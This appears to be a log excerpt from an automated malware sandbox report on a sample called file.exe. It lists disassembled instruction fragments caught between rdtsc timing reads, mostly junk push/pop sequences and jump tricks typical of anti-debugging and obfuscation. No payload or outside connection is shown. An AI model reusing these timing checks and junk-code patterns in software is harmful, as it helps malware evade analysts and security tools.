Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BFF83 second address: 11BFFA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C2120954Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F5C2120954Ah 0x0000000f push edi 0x00000010 pop edi 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118CB50 second address: 118CB54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118CB54 second address: 118CB6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F5C21209546h 0x00000010 jmp 00007F5C2120954Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118CB6F second address: 118CB7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F5C20C5AC36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118CB7E second address: 118CBB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop eax 0x00000007 jmp 00007F5C2120954Eh 0x0000000c popad 0x0000000d jc 00007F5C21209572h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F5C21209558h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118CBB6 second address: 118CBBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C0BBF second address: 11C0BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C3F6B second address: 11C3F75 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5C20C5AC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C3F75 second address: 11C3F80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F5C21209546h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C3F80 second address: 11C3F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F5C20C5AC3Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C3F96 second address: 11C3F9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C2DDD second address: 11C2DF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5C20C5AC48h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C3544 second address: 11C354B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C46A1 second address: 11C46AB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5C20C5AC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C604D second address: 11C6053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C6053 second address: 11C607A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007F5C20C5AC47h 0x0000000c push ebx 0x0000000d jnl 00007F5C20C5AC36h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C607A second address: 11C608E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5C2120954Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C608E second address: 11C6092 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CBF13 second address: 11CBF2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5C21209556h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CBF2E second address: 11CBF42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jo 00007F5C20C5AC36h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CBF42 second address: 11CBF67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5C21209554h 0x0000000e jnc 00007F5C21209548h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11847A9 second address: 11847BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jg 00007F5C20C5AC36h 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11847BD second address: 11847D5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5C21209546h 0x00000008 jg 00007F5C21209546h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jc 00007F5C21209546h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11847D5 second address: 11847D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11847D9 second address: 11847DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11847DF second address: 11847E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB460 second address: 11CB4A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C2120954Fh 0x00000007 jo 00007F5C2120954Eh 0x0000000d jnc 00007F5C21209546h 0x00000013 push esi 0x00000014 pop esi 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 jmp 00007F5C21209552h 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F5C2120954Fh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB5EA second address: 11CB63D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C20C5AC42h 0x00000007 jl 00007F5C20C5AC36h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F5C20C5AC46h 0x00000014 jmp 00007F5C20C5AC49h 0x00000019 push eax 0x0000001a push edx 0x0000001b jnl 00007F5C20C5AC36h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CB776 second address: 11CB79B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C2120954Ah 0x00000009 popad 0x0000000a jmp 00007F5C21209552h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CBBDE second address: 11CBBE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CBBE4 second address: 11CBBFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C21209553h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CBBFC second address: 11CBC34 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5C20C5AC51h 0x00000008 jbe 00007F5C20C5AC36h 0x0000000e jmp 00007F5C20C5AC45h 0x00000013 push ebx 0x00000014 pushad 0x00000015 popad 0x00000016 pop ebx 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F5C20C5AC3Ah 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CBDA8 second address: 11CBDAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CBDAC second address: 11CBDB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CBDB0 second address: 11CBDD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5C21209556h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CEC53 second address: 11CEC69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5C20C5AC42h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CFB58 second address: 11CFB5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CFB5C second address: 11CFB71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C20C5AC41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CFB71 second address: 11CFBB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007F5C21209546h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], ebx 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F5C21209548h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 00000014h 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b mov edi, dword ptr [ebp+122D35BCh] 0x00000031 and esi, dword ptr [ebp+122D2B07h] 0x00000037 nop 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CFBB0 second address: 11CFBB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CFBB4 second address: 11CFBC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 js 00007F5C21209554h 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CFBC6 second address: 11CFBCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D00AF second address: 11D00BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0E72 second address: 11D0E78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D2D33 second address: 11D2D3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F5C21209546h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D2D3D second address: 11D2D41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D2AEE second address: 11D2B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C2120954Ah 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F5C21209551h 0x00000013 jmp 00007F5C2120954Bh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D2D41 second address: 11D2D4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D2D4F second address: 11D2D54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D2D54 second address: 11D2DB6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F5C20C5AC44h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov edi, dword ptr [ebp+122D27DFh] 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F5C20C5AC38h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e pushad 0x0000002f mov ebx, 37196BD9h 0x00000034 mov dword ptr [ebp+122D2079h], edi 0x0000003a popad 0x0000003b push 00000000h 0x0000003d and esi, dword ptr [ebp+122D2BCBh] 0x00000043 xchg eax, ebx 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 jns 00007F5C20C5AC36h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D2DB6 second address: 11D2DBC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D2DBC second address: 11D2DD8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5C20C5AC41h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D427D second address: 11D4281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D4281 second address: 11D42EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C20C5AC46h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F5C20C5AC38h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 mov edi, dword ptr [ebp+122D3456h] 0x0000002c sub esi, dword ptr [ebp+12458450h] 0x00000032 push 00000000h 0x00000034 js 00007F5C20C5AC3Ah 0x0000003a push eax 0x0000003b add esi, 511A3C79h 0x00000041 pop esi 0x00000042 push 00000000h 0x00000044 mov si, dx 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a jo 00007F5C20C5AC3Ch 0x00000050 jg 00007F5C20C5AC36h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D42EE second address: 11D42F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D4C78 second address: 11D4CED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F5C20C5AC38h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 mov edi, 365837A8h 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push edi 0x0000002d call 00007F5C20C5AC38h 0x00000032 pop edi 0x00000033 mov dword ptr [esp+04h], edi 0x00000037 add dword ptr [esp+04h], 00000018h 0x0000003f inc edi 0x00000040 push edi 0x00000041 ret 0x00000042 pop edi 0x00000043 ret 0x00000044 or dword ptr [ebp+122D3943h], eax 0x0000004a push 00000000h 0x0000004c call 00007F5C20C5AC44h 0x00000051 mov dword ptr [ebp+1245499Fh], edx 0x00000057 pop edi 0x00000058 xchg eax, ebx 0x00000059 push ecx 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D9A9E second address: 11D9AA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DBB1C second address: 11DBB21 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DCB02 second address: 11DCB5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b mov ebx, 79BD47A4h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F5C21209548h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c push 00000000h 0x0000002e jne 00007F5C21209546h 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F5C21209559h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DBCA8 second address: 11DBD6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C20C5AC49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jnp 00007F5C20C5AC42h 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov dword ptr [ebp+122D3266h], ebx 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 push 00000000h 0x00000026 push eax 0x00000027 call 00007F5C20C5AC38h 0x0000002c pop eax 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 add dword ptr [esp+04h], 0000001Ah 0x00000039 inc eax 0x0000003a push eax 0x0000003b ret 0x0000003c pop eax 0x0000003d ret 0x0000003e call 00007F5C20C5AC45h 0x00000043 sub ebx, dword ptr [ebp+122D316Ch] 0x00000049 pop ebx 0x0000004a mov eax, dword ptr [ebp+122D02E1h] 0x00000050 push 00000000h 0x00000052 push ebx 0x00000053 call 00007F5C20C5AC38h 0x00000058 pop ebx 0x00000059 mov dword ptr [esp+04h], ebx 0x0000005d add dword ptr [esp+04h], 00000015h 0x00000065 inc ebx 0x00000066 push ebx 0x00000067 ret 0x00000068 pop ebx 0x00000069 ret 0x0000006a xor ebx, dword ptr [ebp+122D2C0Bh] 0x00000070 mov edi, ecx 0x00000072 push FFFFFFFFh 0x00000074 mov edi, dword ptr [ebp+12458609h] 0x0000007a xor dword ptr [ebp+122D3A03h], edi 0x00000080 push eax 0x00000081 jns 00007F5C20C5AC40h 0x00000087 pushad 0x00000088 push eax 0x00000089 push edx 0x0000008a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DEBF3 second address: 11DEC01 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5C21209546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DFB75 second address: 11DFBEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 jo 00007F5C20C5AC4Eh 0x0000000f je 00007F5C20C5AC48h 0x00000015 jmp 00007F5C20C5AC42h 0x0000001a nop 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007F5C20C5AC38h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 00000014h 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 sub dword ptr [ebp+122D21EDh], edx 0x0000003b push esi 0x0000003c mov dword ptr [ebp+12481B1Dh], ecx 0x00000042 pop ebx 0x00000043 push 00000000h 0x00000045 mov ebx, dword ptr [ebp+122D2E2Bh] 0x0000004b js 00007F5C20C5AC3Ch 0x00000051 push 00000000h 0x00000053 mov edi, dword ptr [ebp+122D3162h] 0x00000059 xchg eax, esi 0x0000005a push eax 0x0000005b push edx 0x0000005c je 00007F5C20C5AC38h 0x00000062 push edi 0x00000063 pop edi 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DFBEE second address: 11DFC00 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jc 00007F5C2120954Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DEECB second address: 11DEEF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5C20C5AC48h 0x00000009 popad 0x0000000a pop esi 0x0000000b push eax 0x0000000c push esi 0x0000000d jng 00007F5C20C5AC3Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DFD41 second address: 11DFD46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DFD46 second address: 11DFD5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5C20C5AC41h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1B6E second address: 11E1B83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5C2120954Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1B83 second address: 11E1B93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C20C5AC3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3EAC second address: 11E3EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 jg 00007F5C21209550h 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E502B second address: 11E5050 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5C20C5AC41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b pop eax 0x0000000c pop eax 0x0000000d popad 0x0000000e push eax 0x0000000f jbe 00007F5C20C5AC44h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5050 second address: 11E5054 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6034 second address: 11E603A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6241 second address: 11E6247 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8320 second address: 11E833F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5C20C5AC48h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F367E second address: 11F368B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5C21209546h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5950 second address: 11F595A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5C20C5AC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F595A second address: 11F5964 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5C21209552h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
